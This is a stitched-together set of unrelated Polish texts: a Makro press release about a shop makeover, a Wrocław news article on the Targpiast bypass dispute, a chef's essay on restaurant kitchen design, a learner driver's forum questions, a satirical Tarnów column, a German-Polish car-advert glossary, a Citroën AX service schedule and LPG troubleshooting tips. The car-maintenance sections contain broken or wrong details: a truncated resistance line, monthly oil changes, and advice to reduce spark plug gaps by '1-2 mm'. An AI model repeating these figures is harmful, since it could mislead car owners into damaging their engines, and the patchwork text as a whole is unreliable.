Polacy wciąż najchętniej robią zakupy w małych sklepach. Dlatego wielu ich właścicieli stawia na rozwój, aby zaspokoić rosnące wymagania swoich klientów. Najlepszym przykładem daleko idących zmian jest sklep pani Joanny Poleszczuk ze Świebodzic. Pod okiem konsultantów Makro Cash & Carry przeszedł on absolutną metamorfozę, a 18 listopada oficjalnie zaprosił klientów do swojego odnowionego wnętrza.

Korzystając ze specjalistycznego programu Doradztwa dla Handlu Detalicznego Makro Pani Joanna całkowicie zmodernizowała prowadzony przez siebie sklep wielobranżowy - koncepcję sprzedaży tradycyjnej zastąpiła nowoczesna forma sklepu samoobsługowego.

- Klienci wolą przejść się po sklepie, wszystko dokładnie obejrzeć - mówi pani Joanna. - Chociaż zmiany są bardzo świeże, uważam, że kupujący są zadowoleni. Poprzez modernizację właścicielka chce przede wszystkim utrzymać swoich stałych klientów. Liczy także na zwiększenie sprzedaży - podczas zakupów w sklepie samoobsługowym każdy wkłada do koszyka zawsze kilka produktów więcej, niż początkowo zamierzał.

Nowa formuła sklepu została zaprojektowana i wdrożona przez specjalistów Makro Cash & Carry - doradca firmy zaplanował powierzchnię sklepu, tak by stała się ona bardziej funkcjonalna i przyjazna dla klientów. W obiekcie wymieniono najważniejsze wyposażenie. Stare chłodnie zastąpiono nowymi, oszczędnymi urządzeniami, które zapewnią najwyższą jakość sprzedawanych towarów. Uwagę zwracają także atrakcyjne, nowocześnie oświetlone ekspozycje oraz nowe regały umożliwiające łatwiejszy dostęp do produktów.

- Wcześniej towar w sklepie był mniej widoczny, dzisiaj przemyślana lokalizacja grup asortymentowych i ciekawa ekspozycja produktów ułatwia klientom wybór - mówi Małgorzata Wróbel, doradca Makro.

Program Doradztwa dla Handlu Detalicznego to nowatorska inicjatywa Makro, której celem jest podnoszenie konkurencyjności niezależnych sklepów detalicznych. Doradcy Makro pomagają ich właścicielom odpowiadać na rosnące potrzeby klientów. Każdy przedsiębiorca może dzięki temu zaprojektować swój sklep tak, by był nowocześniejszy, bardziej funkcjonalny i lepiej rozpoznawalny. O projekcie Doradztwa dla Handlu Detalicznego można dowiedzieć się więcej na stronach http://www.nowoczesnysklep.com.pl oraz http://www.makrocentrum.pl.

Makro Cash & Carry działa na Dolnym Śląsku od 13 lat - hala we Wrocławiu obsługuje klientów od 1995 roku. Dzisiaj zaopatruje się w niej już 75 tysięcy regionalnych przedsiębiorców. Ponad 7 tysięcy z nich objętych jest opieką konsultantów Makro, którzy wspomagają rozwijanie biznesu - zarówno sklepów detalicznych, jak i placówek gastronomicznych. 10 grudnia 2008 klienci z Dolnego Śląska zyskają kolejne centrum zaopatrzenia i doradztwa - Makro Cash & Carry otworzy nową halę w Szczawnie - Zdroju.

ts (EG)

Obornicka: Błędne koło z obwodnicą śródmiejską
Magda Nogaj
2008-11-07, ostatnia aktualizacja 2008-11-06 17:51

Z opóźnieniem rozpocznie się budowa kolejnego odcinka obwodnicy śródmiejskiej. Trasa ma przecinać teren Targpiastu przy ul. Obornickiej, ale kupcy nie chcą go opuścić. Twierdzą, że z winy miasta nie mają się gdzie przenieść

Po wielu latach negocjacji 23 października Targpiast podpisał z miastem porozumienie, że do końca ubiegłego miesiąca przekaże część swojego terenu pod budowę obwodnicy. W budynkach przy ul. Obornickiej wciąż jednak trwa handel. Chłodnie pełne są warzyw i owoców.

- Grozi nam, że budowa obwodnicy nie rozpocznie się w terminie - mówi Marek Szempliński, rzecznik spółki miejskiej Wrocławskie Inwestycje, która nadzoruje realizację tego zadania. - Teren Targpiastu jest nam już teraz potrzebny, bo wykonawca ma tam urządzić bazę budowy, a to nie trwa miesiąc. Poza tym trzeba tam przeprowadzić badania geologiczne, bo w tym rejonie będzie się kończył wiadukt nad torami.

Targpiast twierdzi, że to z winy miasta nie może opuścić terenu. Jolanta Rożak-Turowska, prezes zarządu spółki: - Dopiero 23 października miasto przekazało nam działkę, gdzie możemy przenieść handel. Gdyby zrobiło to kilka lat temu, gdy zaczęliśmy się o to ubiegać, już dziś mielibyśmy nową halę. Nie byłoby więc żadnego problemu z przeprowadzką. Teraz oczekuje się od nas, że z dnia na dzień wyrzucimy kupców na bruk.

Obwodnicę ma budować firma Skanska. Zgodnie z harmonogramem prac na teren przy Obornickiej powinna wkroczyć już w przyszłym tygodniu. - Nie rozumiem tego zamieszania. Jeżeli strony podpisały porozumienie, to chyba znaczy, że się porozumiały - mówi Dariusz Kotarski, menedżer projektu z firmy Skanska. - Jeżeli nie przejmiemy terenu w terminie, mamy prawo dochodzić roszczeń z powodu niedotrzymania przez miasto zobowiązań zawartych w umowie. Mam nadzieję, że tak się nie stanie.

Targpiast zapowiada, że na razie nie zamierza się przeprowadzać. - Nie opuścimy terenu, dopóki nie wybudujemy nowej hali - grozi prezes Rożak-Turowska. - Technologia jest teraz tak nowoczesna, że moglibyśmy postawić ją w dwa miesiące. Jednak nie mamy pieniędzy.

Żeby zdobyć fundusze, spółka zdecydowała się wynająć jedną z istniejących już hal. Firma leasingowa zażądała jednak, by Targpiast zdobył od miasta gwarancję, że hala mimo prowadzonej obok budowy będzie miała dostęp do drogi.

- Władze miasta nie chcą wydać tego dokumentu, dopóki nie opuścimy terenu - mówi prezes Targpiastu. - Przez brak jednego podpisu robi się błędne koło.

Na terenie Targpiastu w charakterze straszaka pojawiła się już firma ochroniarska wynajęta przez spółkę Wrocławskie Inwestycje. Jednak konflikt może skończyć się w sądzie, co jeszcze bardziej opóźniłoby budowę obwodnicy.

Źródło: Gazeta Wyborcza Wrocław

<HTML>POLSKA GASTRONOMIA
Zamieszczane w portalach, internetowych wypowiedzi osób ze środowiska polskiej gastronomii są najczęściej ostrą reakcja na czyjąś wypowiedź, z którą nie bardzo się zgadzamy (sam to robiłem). Bardzo dobrze, szkoda, że robicie to często anonimowo. Obecnie proponuję podnieść nieco poprzeczkę i podyskutować w sposób, który może przynieść nam pewne korzyści. Według mojej wiedzy informacji o zagadnieniach związanych z naszą branżą częściej szukają w Internecie właściciele firm i osoby zarządzające niż kucharze czy szefowie kuchni, pokażmy im, że stać nas na więcej niż tylko „pyskówki”. Chciałbym rozpocząć merytoryczną dyskusję na tematy związane z nasza pracą. Zacznijmy od początku czyli od otwarcia nowego zakładu. Zwykle przyszły pracodawca zaczyna od wynajęcia i budowy lokalu i już zaczyna popełniać błędy, w pogoni za maksymalną ilością miejsc konsumpcyjnych ogranicza zaplecze kuchenne. Dawniej był przepis, że zaplecze restauracji powinno być tak duże jak sala, fakt że obecnie dzięki nowoczesnym i wydajnym urządzeniom a też wobec dostępności produktów można je nieco ograniczyć, ale nie wolno żałować i oszczędzać na przykład na pomieszczeniach chłodniczych, szczególnie jeśli planuje się obsługę dużych imprez. Plany pomieszczeń opracowywane przez specjalistów (czytaj osób, które nigdy nie pracowały w kuchni) na potrzeby sanepidu, poza zgodną z wymogami drogą przepływu produktów, często kłócą się z funkcjonalnością. W otwieranej ostatnio, przy mojej współpracy restauracji hotelowej, zaprojektowano w kuchni niewiadomo, czemu służące murki, pomieszczenie chłodnicze (w tym chłodnia minusowa) będące jednocześnie magazynem mięsa, ryb, warzyw, wędlin, około 10 m.2 jedyny magazyn około 4 m.2 a drzwi na salę konsumpcyjną dla 120 gości, miały mieć 80 cm szerokości. Sprawa następna wyposażenie techniczne, niektóre firmy zajmujące tą działalnością, często przy współpracy wyżej wymienionych specjalistów starają się „wepchnąć” jak najwięcej urządzeń czasami nie najwyższej jakości a czasami swoją wydajnością przekraczające możliwości sprzedaży wytwarzanego produktu, spotkałem się z faktem wyposażenia małego punktu żywienia w maszynę zdolną umyć i odwirować 150 kg sałaty w ciągu jednej godziny, starczyłoby na trzy Mac Donaldy. Szczytem zaś bezczelności była firma, (co prawda już nie istnieje), która zamiast deklarowanych w kontrakcie urządzeń niemieckich, dostarczyła znacznie tańsze włoskie (zdziwił mnie brak etykiet producenta, na szczęście znalazłem jedno jeszcze zapakowane). Jeszcze tylko zakup drobnego sprzętu, nakryć stołowych, dobór personelu i można zaczynać. A teraz, po co to wszystko piszę, chciałbym uświadomić przyszłego restauratora, (o ile brak mu doświadczenia w tej branży), że tańsze jest odpowiednio wcześniejsze zatrudnienie swojego szefa kuchni i skorzystanie z konsultacji doświadczonych szefów, (jakich nie brakuje) niż burzenie ścian, przepłacanie dostawców czy późniejsze narzekanie, że powstały obiekt nie jest w stanie spełnić jego oczekiwań. Jeszcze pytanie- czy prowadząc sprawę w sądzie działasz sam czy przez adwokata, twój szef jest twoim adwokatem. Przedstawione przykłady to tylko niewielki fragment działań związanych z uruchomieniem zakładu gastronomicznego, Zapraszam Wszystkich do dyskusji, np. do przedstawienia lokali, które poprzez swoją funkcjonalność a nie drogie wyposażenie, stwarzają dobre warunki pracy. Może warto powołać w OSSKiC komisję, która poprzez przyznanie specjalnego certyfikatu nobilitowałaby pracodawców.
A my Panowie kucharze ceńmy się gdyż posiadana przesz nas wiedza jest tak samo ważna jak pieniądze Właścicieli, nie sprzedawajcie jej za „flaszkę
Krzysztof Sutkowski</HTML>

Witam

Jestem nowy na tym forum. Przymierzam się do kursu na prawko i z tego właśnie względu chciałbym się zawczasu przygotować pod każdym względem, także teoretycznym.

Jest bardzo dużo do nauczenia się, cała tematyka samochodowa to faktycznie ogrom wiedzy do przyswojenia (takie mam na razie wrażenie)

Niestety, nikt w mojej najbliższej rodzinie nie miał auta i nie mogłem czerpać wiedzy "bezpośrednio". Dlatego niektóre moje pytania będą zapewne dość prymitywne/głupawe...

A oto one:

1. Rejestracja pojazdu: czy jeśli kupię używane auto, to automatycznie przejmuję stare numery rejestracyjne, czy muszę składać jakieś wnioski/podania/papiery aby wyrobić nowe?

2. Czy przeglądy co roku są obowiązkowe? Czy można ich dokonać w dowolnym autoserwisie, i czy kompletnie konserwują one pojazd? Jaki jest przeciętny koszt takiego kompletnego przeglądu?

3. Czy w takim przeglądzie oferowana jest też wymiana płynu hamulcowego, płynu chłodniczego, oleju, hamulca oraz innych wymienalnych elementów? Bo ja to jak na razie chyba nawet zatankować bym nie umiał, a co dopiero olej wymienić
No ale się nauczę wkrótce, spoko

4. Ładowanie akumulatora: pamiętam, że pewien mój krewny ładował kiedyś akumulator przy użyciu bodajże prostownika. Nosił akumulator do garażu i tam ładował. Jak często trzeba ładować akumulator i jakie urządzenia są do tego konieczne?

5. Wymiana opon: jak często? Czy tylko z zimowych na letnie i odwrotnie? Po czym poznać, że należy wymienić konkretną oponę?

6. Jak długo zwykle "wytrzymuje" każda z żarówek reflektorów? Ile kosztuje wymiana każdej?

7. Mycie auta: jak często (przeciętnie) jest konieczne? I co z myjniami: ile kosztuje takie mycie, oraz jak długo przeciętnie ono trwa?

8. Ile kosztuje lakierowanie auta (przeciętnie)? Czy można kazać przelakierować auto na dowolny kolor, czy są jakieś ograniczenia?

9. Czy wyposażenie auta w sprawne światła, wycieraczki itp. "akcesoria" jest obowiązkowe?

10. Czy może się zdarzyć, że np. coś się zablokuje na egzaminie (no czasem mam takie myśli, ech, co zrobić...) i np. nie będę w stanie otworzyć maski albo wyregulować fotela/lusterka, i przez to egzaminator mi tego nie zaliczy?
Zdarzyło się coś takiego komuś z Was?...

11. Jak szybko ulegnie korozji pojazd trzymany ciągle na dworzu (nie mam i na razie raczej nie będę miał garażu)?

12. I na koniec takie nieco bardziej ogólne pytanie: jak często przydarzają się Wam różne nieprzewidziane sytuacje (stłuczka, niemożność wyjechania z miejsca z jakiegoś powodu, zgaśnięcie silnika na środku jezdni z niemożnością odpalenia ponownie, złapanie "gumy")? ;]

13. Jeśli nasunęły się Wam na myśl jakieś inne najbardziej elementarne i podstawowe sprawy o które nie zapytałem a które powinienem znać, to napiszcie, proszę, śmiało!

14. Może znacie jakieś fajne stronki, gdzie tacy dość zieloni ignoranci jak ja mogą wszystkiego się dowiedzieć od "zera"?
Dajcie linki w razie czego

Pozdrawiam, mam nadzieję że komuś będzie się chciało odpowiedzieć na powyższe i rozwiać moje wątpliwości...

Epoka lodowcowa

W Tarnowie mieszka Wielki Czarownik, który zaklina magicznymi regułami nadejście pór roku. Jego działalność jest wspierana przez Urząd Miasta. Działalność Czarownika wymaga obecności lodowiska w bezpośrednim sąsiedztwie tarnowskiego ratusza.

Wielu komentatorów, w toczącej się rok temu dyskusji na temat lokalizacji lodowiska, wyrażało zdziwienie, dlaczego akurat w tym miejscu. Wybór tego miejsca wydaje się jednak usprawiedliwiony, gdy potraktujemy ratusz jako symboliczne miejsce, związane ze sprawowaniem władzy. Takie miejsca i ich nazwy zawsze mają znaczenie. Odkąd sejm zbiera się na ulicy Wiejskiej, coraz większą śmiałość w dążeniu do władzy przejawiać zaczęli przedstawiciele „gołoty”, chłopy z PSL, Samoobrony oraz pozostałe partie o wiejskim i proletariackim pochodzeniu. Analogicznie; lodowisko koło ratusza jest projektem, który ma na celu wymrożenie „politycznych dinozaurów” i ewolucję w kierunku przejęcia władzy przez „drobniejsze płazy” i ssaki (te ostatnie szczególnie chętnie zajmują się polityką, gdyż żadna inna profesja się sprzyja tak ssaniu, jak liczne synekury rządowe i samorządowe). Wszystko to dzieje się za przyczyną Wielkiego Czarownika, którego istnienie i działalność owiane być muszą tajemnicą. O jego wpływie na rzeczywistość można jedynie wnioskować z pewnych zmian. Ubocznym skutkiem są anomalie pogodowe. Zapewne wszyscy pamiętają, jak to poprzednia zima odeszła dopiero wtedy, gdy zlikwidowano lodowisko. W ostatnich dniach śniegiem posypało i mrozem powiało dopiero, gdy oddano miejską ślizgawkę do użytku, choć to już był koniec grudnia. Ostatnie dni z licznymi opadami stanowią eksperyment: Czarownik chce sprawdzić czy Tarnowianie będą się ślizgali po lodzie w strugach deszczu.
Działanie lodowiska ma wywierać wpływ nie tylko na pogodę, ale przede wszystkim na sferę władzy. Rozłam w Platformie, wybór prezydenta w pierwszej turze wyborów, kłopoty posła Rojka, przegrana radnego Ciesielczyka – wszystko to jest dziełem Wielkiego Czarownika, który zaczarowuje Tarnów za pośrednictwem bryły lodu zlokalizowanej w najwyższym punkcie miasta. To na tej bryle lodu pośliznęła się ekipa poprzedniego prezydenta.
Pozostanie tajemnicą, dla kogo personalnie pracuje Wielki Czarownik. Znajdą się tacy, którzy będą łączyli pojawienia się lodowiska w Tarnowie z dojściem do władzy Prawa i Sprawiedliwości. Trzeba jednak otwarcie stwierdzić, że magia używana w polityce na pewno nie służy ani prawu, ani sprawiedliwości. Magia służy - zawsze i tylko - samej władzy i samej polityce. W tym jednak przypadku pewne przesłanki wskazują, że Wielki Czarownik został sprowadzony do Tarnowa przez potomków prastarego rodu Lodowidów. Ród ten od wielu lat wywiera wpływ na cały rynek handlu spożywczego przez produkcję urządzeń chłodniczych. To dzięki Lodowidom rozwinęły się ekonomicznie takie miasta jak Dębica czy Bochnia. Lodowidzi konkurują od wielu lat z Telewitami. Telewidzi (producenci wiadomości) oddziałują na ludzi poprzez patrzenie w monitor i uleganie złudnym obrazom rzeczywistości, a Lodowidzi wywierają wpływ w momencie otwierania lodówki i sprawdzania, jak bardzo obrazy telewizyjne są zgodne z rzeczywistością. To dlatego w kampanii wyborczej pojawił się element otwierania lodówki. Lodowidzi, jako producenci lodówek, starają się, aby ludzie mieli pełne lodówki, bo tylko wtedy często je otwierają i kupują nowe, dzięki czemu napędzają gospodarkę. Telewici nie dbają o zawartość lodówki, bo każdy brak można rekompensować telewizyjną propagandą dobrobytu.
Sensem istnienia lodowiska koło ratusza nie jest, bynajmniej, radość użytkowników łyżew, jak naiwnie uzasadniają niektórzy potrzebę ślizgania się, ale wpływ na nastroje polityczne i szukanie sposobu prześliźnięcia się przez następny rok budżetowy. Póki będzie lodowisko koło ratusza, będzie można dokonywać zamrożenia publicznych pieniędzy. Każdy prezydent zamieniający pieniądze na lód, w sytuacji istnienia deficytu budżetowego, zasługuje na miano Ślizgały. W Tarnowie dynastia Ślizgałów sprawuje rządy od początku epoki lodowcowej, która rozpoczęła się pierwszym zlodowaceniem i zamianą wody na grad na poziomie stołka wojewody tarnowskiego.
Pozostawiam Czytelnikom rozstrzygnięcie komu należy się tytuł Ślizgały I.
Prawdziwy wpływ Wielkiego Czarownika na politykę odczujemy dopiero wtedy, gdy obok tarnowskiego ratusza będzie się można ślizgać na lodzie przez cały rok, a nie tylko w zimie.

Andrzej Król

[Tekst ukazał się na portalu InTARnet.pl]

A
Ablagetische - stoliczki z tyłu
ABS - ABS
Abschliessbares Handschuhfach- Zakluczany schowek (zamykany na kluczyk - Adi)
Anhängerkupplung - hak
Airbag - Poduszka powietrzna
Allrad - napęd na 4 koła (4x4)
Alufelgen - felgi aluminiowe
Außentemperaturanzeige - termometr, wskaźnik temp. zewnętrznej -
Anlasser defekt - uszkodzony rozrusznik
Automatische Geschwindigkeitsregulierung- tempomat
Automatische Umluft Control - ( AUC) - automatyczne sterowanie obiegiem powietrza

B
Bordcomputer - komputer pokładowy

C
Colorverglasung - barwione kolorowo szyby

D
Dachträger - relingi dachowe
Diebstahlwarnanlage - alarm
Doppelverglasung- podwójne szyby

E
Einparkhilfe - parktronik
Elektronische Daempfer Control- EDC- elektronicznie sterowane amortyzatory
Elektr. Fensterheber - elektrycznie podnoszone/opuszczane szyby
Elektrische Lenkradverstellung - el. regulacja kierownicy
Elektrische Sitze - elektrycznie regulowane fotele przednie
Elektrische Fahrersitz - elektrycznie regulowany fotel kierowcy (jak dopisane + beifahrer tzn. też pasażera)
Elektrisches Sonnenschutzrollo fuer Heckscheibe - roleta elektryczna tylnej szyby
el. ausenspiegel - elektrycznie sterowane lusterka
Ersterhand - Aus ersterhand - od pierwszego właściciela
Erstzulassung - pierwsza rejestracja
Euro 3 - lub inna cyfra - emisja spalin zgodna z daną normą Euro

F
Fahrbereit ( czesto z VOLL ) - jezdzący, w pełni jezdzący ( samodzielnie )
Fernbedienung / infrarot - sterowanie zamkiem za pomocą pilota / na podczerwien
Fondsitzheizung - ogrzewanie foteli tył
FP (festpreis) - cena ostateczna
Freisprechanlage - zestaw głośnomówiący pod tel. komórkowy ("hands-free")
Frontscheibe mit Gruenkeil - przednia szyba z zielonym pasem Frank
Fussmatten velours - welurowe dywaniki

G
Gepäckraumabdeckung - roleta bagażnika
Gepaeckraumnetz - siatka w bagazniku
Getriebe - skrzynia (Schaltgetriebe - manualna skrzynia)
Getriebeschaden - uszkodzona skrzynia biegow
Gepaeckraumnetz - siatka w bagazniku

H
Hagelschaden - uszkodzenia po gradobiciu

I
Innenrueckspiegel automatisch abblendend - lusterko wewnentrzne automatycznie ściemniane

K
Keine Rost- zero rdzy
Klima - klimatyzacja
Klimaanlage - klimatyzacja manualna (nie klimatronik)
Kopfstützen im Fond - zagłówki na kanapie
Kupplungs defekt / Kupplung erneuert - uszkdzone sprzegło/ nowe sprzegło

L
Lauft einwandfrei - pracuje bez zarzutu
Lederausstattung - skóra
Leichtmetallfelgen- aluminiowe felgi
Lenksäule einstellbar - chyba regulowana pozycja kierownicy
Leseleuchten - światełka do czytania ( jupiterki popularnie )
Leuchtweitenregulierung- el. regulacja swiateł
Lordosenstuetze - pompowanie oparć foteli

M
Mittelarmlehne - chyba podłokietnik
Motor macht gerausch - silnik hałasuje
Motor raucht - silnik kopci
Motorschaden- uszkodzony silnik
Multifunktionlenkrad - sterowanie w kierownicy (radiem, nawi, czymś jeszcze - zależnie od modelu)

N
Nebelscheinwerfer - światła przeciwmgielne
Normalen gebrauchspuren - normalne ślady użytkowania
Niveauregulierung - amorki hydrauliczne nivo z tyłu

O
Oel/ Kuehlwasser verlust - ubytki oleju/ płynu chłodniczego

R
Radio - radio, przeważnie chodzi o kaseciaka, chyba że dopisane niżej że CD
Radio/CD - radio z CD
Rost - rdza
Rueckwartsgangschaden - uszkodzony bieg wsteczny

S
Schaden - uszkodzony
Schaltgetriebe - skrzynia manualna(ręczna)
Scheckheftgepflegt - książka serwisowa (dosłownie "zadbany zeszytem serwisowym")
Scheinwerferreinigungsanlage - spryskiwacze reflektorów
Schiebedach - szyberach
Seitenairbags - poduszki boczne
Servolenkung - wspomaganie kierownicy
Sonnenschutzrollo fuer Heckscheibe- roleta tylnej szyby
Standheizung - ogrzewanie postojowe
Standlueftung- przewietrzanie postojowe
Steuerketteschaden - uszkodzony łancuch rozrzadu

T
Tempomat - tempomat, czyli urządzenie dzięki, któremu możemy jechać ze stałą prędkością, bez naciskania pedału gazu i hamulca, przy automatycznej skrzyni również zmienia biegi.
Tiefer - obniżony
Traktionskontrolle - kontrola trakcji

U
Unfall- uszkodzony
Unfallfrei- bezwypadkowy

V
VB (verhaldungbasis) - cena wywolawcza (do negocjacji)
Ventil verbrannt - wypalony zawór
Viele Verschliessteile neu - wiele nowych części zamiennych

W
Wegfahrsperre -po naszemu "immobiliser" bodaj, blokada przed odjazdem dosłownie czyli jakiś autoalarm
Winterreifen - opony zimowe

X
Xenonscheinwerfer - Światła ksenonowe - mijania (bixenon to mijania+drogowe)

Z
Zentralverriegelung - zamek centralny
Zylinderkopfdichtungschaden- uszkodzona uszczelka pod głowicą

Czynności konserwacyjne (przeglądy techniczne) citroena AX

Po każdych 400 km (lub co tydznień):

-Sprawdzić poziom oleju silnikowego
-Sprawdzić poziom płynu chłodniczego
-Sprawdzić poziom płynu hamulcowego
-Sprawdzić poziom płynu w zbiorniku spryskiwaczy szyb
-Ocenić stan bieżnika opon oraz ich zużycie (diagnoza ewentualnie nierównomiernego zużywania się bieżnika na szerokości opony)
-Zmierzyć ciśnienie w oponach
-Ocenić stan akumulatora (czy klamry nie korodują, poziom elektrolitu w poszczególnych celach, ew. poziom napięcia)
-Sprawdzić urządzenia/osprzęt elektryczny:
A) światła, migacze, światła stopu, klakson, silniczki spryskiwaczy oraz wycieraczek
B) Ocenić stan (ew. uszkodzeń) przewodów elektrycznych, kostek z układami scalonymi

Po każdych 10 000 km (lub co miesiąc):

Prócz wszystkich czynności wymienionych powyżej należy:
-Wymienić olej oraz filtr oleju
-Sprawdzić stan rurek i węży gumowych oraz poszukać ew. wycieków płynów (chłodnica, miska olejowa, zbiornik paliwa z przewodami paliwowymi)
-Wymienić filtr paliwa (silnik diesla)
-Sprawdzić układ kierowniczy, elementy zawieszenia, wał napędowy (wycieki smarów, uszkodzenia gum, luzy w układzie kierowniczym, rozpórka, amortyzatory)
-Sprawdzić wał napędowy (guma, łączenia)

Po każdych 20 000 km:

Prócz wszystkich czynności wymienionych powyżej należy:
-Sprawdzić stan klimatyzacji
-Sprawdzić stan świec zapłonowych ew. wymiana na nowe
-Wymienić filtr paliwa (silnik benzynowy z gaźnikiem)
-"Wysuszyć" filtr paliwa (silnik diesla)
-Sprawdzić układ zapłonowy (cewka zapłonowa, przewody ew. sprawdzić omomierzem rezystancję przewodu zapłonowego-powinna ona wynosić od 3 do 20 kregulacja zapłonu
-Sprawdzić obroty biegu jałowego oraz mieszankę paliwową (silniki benzynowe)
- Sprawdzić obroty biegu jałowego oraz ustawić system anti-stall [zapobiega zgaszeniu silnika przy nagłych skokach obrotów] (silnik diesla)
-Sprawdzić alternator
-Sprawdzić stan pomocniczego paska napędowego ew. wymienić
-Sprawdzić sprzęgło ew. regulacja
-Sprawdzić mechanizm sprzęgła (jeżeli pedał sprzęgała chodzi opornie nasmarować linkę sprzęgła
-Sprawdzić przednie klocki hamulcowe ew. wymiana
-Sprawdzić hamulec ręczny ew. regulacja linek
-Przeprowadzić jazdę testową:
A) czy liczniki/wskaźniki działają prawidłowo
B) Sprawdzić jak się samochód prowadzi w poszukiwaniu ew. drgań, wibracji, stuków [przy skręcaniu i dodawaniu gazu] czy innych hałasów zawieszenia itp.
C) Sprawdzić dynamikę silnika, jak „łapie” sprzęgło, czy płynnie „wchodzą” biegi
D) Test układu hamulcowego (czy nie „ściąga” w lewo/prawo przy hamowaniu, czy nie pojawiają się wibracje podczas hamowania, sprawdzić hamulec ręczny czy „utrzyma” auto na wzniesieniu, test servo hamulca

Po każdych 30 000 km:

Prócz wszystkich czynności wymienionych powyżej należy:
-Nasmarować wszystkie zawiasy i zamki

Po każdych 40 000 km:

Prócz wszystkich czynności wymienionych powyżej należy:
-Wymienić filtr powietrza
-Sprawdzić tylne bębny hamulcowe ew. wymienić
-Wymienić płyn hamulcowy

Po każdych 60 000 km:

Prócz wszystkich czynności wymienionych powyżej należy:
-Sprawdzić poziom oleju w skrzyni biegów ew. uzupełnić jego poziom

Po każdych 80 000 km:

Prócz wszystkich czynności wymienionych powyżej należy:
-Wymienić filtr paliwa (silnik benzynowy z wtryskiem paliwa)

Po każdych 120 000 km:

Prócz wszystkich czynności wymienionych powyżej należy:
-Wymienić pasek rozrządu (zaleca się co 60 000 km, jeżeli jeździmy dynamicznie i/lub podczas jazdy często się zatrzymujemy i ruszamy)

Co 2 lata (niezależnie od ilości zrobionych kilometrów):

Prócz wszystkich czynności wymienionych powyżej należy:
-Nasmarować wszystkie zawiasy i zamki

Na podstawie: "Haynes Service and Rapair Manual - CitroenAX"
Na wszystkie pytania, do tekstu powyżej, odpowiedź znaleźć można w tytule powyżej

Masz LPG poczytaj-zawsze moze sie przydac kilka informacjii

Szczególnie zimą ujawniają się słabości zaniedbanych instalacji gazowych. Przyczyną są często niedrogie, zapomniane elementy.
Auta z instalacją gazową są bardziej kapryśne niż te, które mają wyłącznie "seryjny" układ zasilania. Dzieje się tak nie tylko dlatego, że pojawiają się dodatkowe elementy (czyli potencjalnie nowe źródła usterek), ale również dlatego, że aby silnik zasilany gazem działał prawidłowo, musi być stuprocentowo sprawny. Niektóre awarie silnika i jego osprzętu dają o sobie wyraźnie znać dopiero po włączeniu instalacji LPG.
Źródłem wielu problemów jest często błąd warsztatu montującego instalację, nadmierna oszczędność lub niedoinformowanie właściciela auta. Jeżeli w samcohdozie z wielopunktowym wtryskiem benzyny i plastikowym kolektorem dolotowym założymy tanią instalację mieszalnikową, to kłopoty pojawią się prędzej czy później - cofnięcie się płomienia gazu, czyli "strzał" w kolektor, spowoduje kosztowne uszkodzenia. Sposobów na uniknięcie kosztów związanych z montażem drogich urządzeń LPG jest więcej: montuje się rzemieślnicze kolektory metalowe zamiast plastikowych, w autach z elektronicznym wtryskiem paliwa stosuje się instalacje pozbawione elektroniki lub niektórych drogich elementów. Warsztat powinien odmówic założenia niewłaściwej instalacji i w każdym przypadku ponosi odpowiedzialność za szkody spowodowane montażem. Czasem jednak trudno jest ustalić przyczynę problemów, np. coraz gorszej pracy silnika przy zasilaniu benzynowym, a poprawnej "na gazie". Wystarczy, że do auta z wtryskiem benzyny kupimy instalację za 1000 zł - bez komputera i niezbędnych elementów. Sterownik wtrysku benzyny zczasem adaptuje się do nowych warunków i po kilkunastu-kilkudziesięciu tysiącach kilometrów przebiegu wymaga naprawy. Udowodnić winę warsztatu nie jest jednak łatwo, lepiej nie decydować się na pozorne oszczędności.
Bywa jednak, że mamy dobrze dobraną instalację, a pojawiają się problemy. Warto zrobić przegląd potencjalnych źródeł niekorzystnych objawów. Nie jest ich, wbrew pozorom, wiele.
Nie ryzykujemy fortuny, wymieniając kilkuletnie kable wysokiego napięcia na nowe. Przy okazji oglądamy świece, filtr powietrza. Warto sprawdzić, czy parownik jest właściwie ogrzewany - jeżeli po kilkuset metrach intensywnej jazdy "na gazie" jest chłodny mimo rozgrzania silnika, to znamy już przyczynę kłopotów. Niezbędna jest też okresowa regulacja instalacji. Zadniebanie, np. długotrwała jazda na zbyt ubogiej mieszance, nie tylko sprzyja "strzałom", ale powoduje też przegrzanie głowicy silnika. Takie zjawisko nie jest nieodłacznie związane ze spalaniem przez silnik gazu - to zwykłe zaniedbanie właściciela auta. Sprawna isntalacja jest w pełni bezpieczna i dla samochodu, i dla właściciela.

- zmrożony termostat, brak mocy
Rozprężający się gaz schładza się, pobiera ciepło z parownika. Urządzenie to ma zapewnić właściwe ciśnienie gazu. Parownik wykorzystuje ciepło płynu chłodniczego - jeśli układ jest zapowietrzony, za mało jest płynu lub występuje uszkodzenie termostatu (konieczna wymiana; utrudniona eksploatacja na LPG, skutki groźne dla silnika), to auto nie ma mocy, jadąc "na gazie". Objaw: po intensywnej jeździe na LPG parownik jest zimny.

- problemy z układem zapłonowym
Do zapalenia mieszanki gazowo-powietrznej potrzebne jest wyższe napięcie niż przy zasilaniu benzynowym. Jeśli przewody wysokiego napięcia są słabe, dochodzi do strzałów. Warto je na bieżąco zabezpieczać (spray izolujacy), w razie potrzeby wymienić na nowe, dobrej marki.

- wysokie zużycie paliwa
W samochodach z instalacją gazową objawy zabrudzenia filtra powietrza są wyjątkowo dotkliwe. Podstawowy problem to wyraźny wzrost zużycia paliwa, spadek mocy, niewłaściwy skład spalin. Należy pamiętać o sprawdzeniu filtra również przed regulacją instalacji LPG.

- zużyte lub niewłaściwe świece
Kiepskie świece zapłonowe są również przyczyną strzałów. Warto je skontrolować, a gdy występuje potrzeba wymiany - do auta z "gazem" wybieramy raczej świece jednoelektrodowe o parametrach zalecanych standardowo przez producenta samochodu. Jeżeli fabryczny układ zapłonowy ma zbyt niską wydolność ("strzały"), można mu pomóc, zmniejszając nieznacznie odstęp elektrod - o 1-2 mm.

- silnik gaśnie podczas jazdy "na luzie"
W wielu autach wlot powietrza jest tak ułozony, że podczas jazdy jest ono wdmuchiwane do układu dolotowego. Może to wpływać na niekorzystne dla pracy parownika zmiany podciśnienia w ukł. dolotowym. Jeśli silnik gasnie na luzie należy wlot powietrza odwrócić lub osłonić przed pędem powietrza.

- awaria pompy paliwa
Nawet jeśli jeździmy tylko "na gazie" i uruchamiamy auto wbrew zaleceniom producentów instalacji LPG zawsze "na gazie", w zbiorniku paliwa powinna być benzyna. Zapowbiega to uszkodzeniu elektrycznej pompy pliwa, a w samochodach z wtryskiem wielopunktowym przegrzaniu wtryskiwaczy benzyny.

